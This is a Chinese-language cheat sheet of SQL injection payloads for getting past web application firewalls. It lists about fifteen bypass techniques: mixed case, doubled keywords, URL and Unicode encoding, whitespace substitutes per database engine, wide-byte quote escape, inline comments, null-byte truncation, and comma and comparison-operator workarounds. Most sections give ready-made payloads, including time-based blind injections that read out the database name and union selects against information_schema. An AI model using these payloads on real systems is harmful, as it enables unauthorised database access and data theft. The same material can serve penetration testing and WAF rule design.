0x01:过滤一些关键字(全大写和全小写)
有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过
- 大小写 SELeCt
- 双写绕过 selectselect
0x02:编码绕过
针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.
举列:union select 1,2,3# =union%0aselect 1\u002c2,3%23
0x03:双写绕过
部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
举列:UNIunionON ,SELselectECT anandd
0x04:换行绕过(\N或者 %0A)
举列:select * from admin where username = \N union select 1,user() from admin
0x05:等价函数绕过
Hex() bin() 等价于ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
and 等价于 &&
or 等价于 ||
xor=|
not=!
0x06:空格绕过:
方法一:
数据库类型 | 允许的空白符 |
---|---|
SQLite3 | 0A,0D,0C,09,20 |
MySQL5 | 09,0A,0B,0C,0D,A0,20 |
PosgresSQL | 0A,0D,0C,09,20 |
Oracle 11g | 00,0A,0D,0C,09,20 |
MSSQL | 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 |
正常payload:
?id=1'and sleep(3) and '1'='1
空格被过滤,注入语句未成功插入。
绕过payload:
?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1
使用尽量需要使用空格的执行语句,比如报错注入。利用||代替or利用&&代替and
方法二:
如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
0x07:过滤单引号
宽字节绕过(就是利用%df%27代替单引号,%df和过滤带引号的代码会组合成一个中文字符,使单引号逃逸)
0x08:内联注释绕过
内联注释的原理就是,例如我们先联合查询中,可能前面需要order by来判断显示位数,这两个联合起来可能会被拦截,但单个的字符可能不会被拦截,可以通过反复测试那些内容单个输入是不会被过滤的,最后可以获取到内容。
/XXX/,#, — -,—+, ;
union selecte =/!union/ select
内联注释 /! Union123456Select/1,user() //数字范围1000-50540
内联注释可以结合一些特殊的符号进行绕过: %0A或者!@#等等很多
0x09:00截断绕过
部分waf遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致Bypass。
比如:id=1%00and 1=2 union select 1,2,column_name from information_schema.columns
0x10:mysql数据库的特性
select{x username}from {x11 test.admin};
select(x table_name)from (x information_schema.tables);
select from users where id=8E0union select 1,2,3,4,5,6,7#
select from users where id=8.0union select 1,2,3,4,5,6,7#
0x11: 特殊符号
这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多
先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:
1.使用反引号,例如select
version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
2.神奇的”-+.”,select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //绕过空格限制
0x12: = 号绕过
使用like 、rlike 、regexp 或者 使用< 或者 >
0x13: 绕过注释符号(#,—(后面跟一个空格))过滤:#
id=1’ union select 1,2,3||’1
0x14:比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)
使用greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest
来进行绕过了。
最常见的一个盲注的sql语句:
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest
来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
那么上面的这条sql语句可以使用greatest
变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
使用between and:
between a and b:
between 1 and 1; 等价于 =1
0x15: 逗号绕过(使用from或者offset)
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to
的方式来解决:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
使用join:
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=80 #等价于
select user() like 'r%'
对于limit可以使用offset来绕过:
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0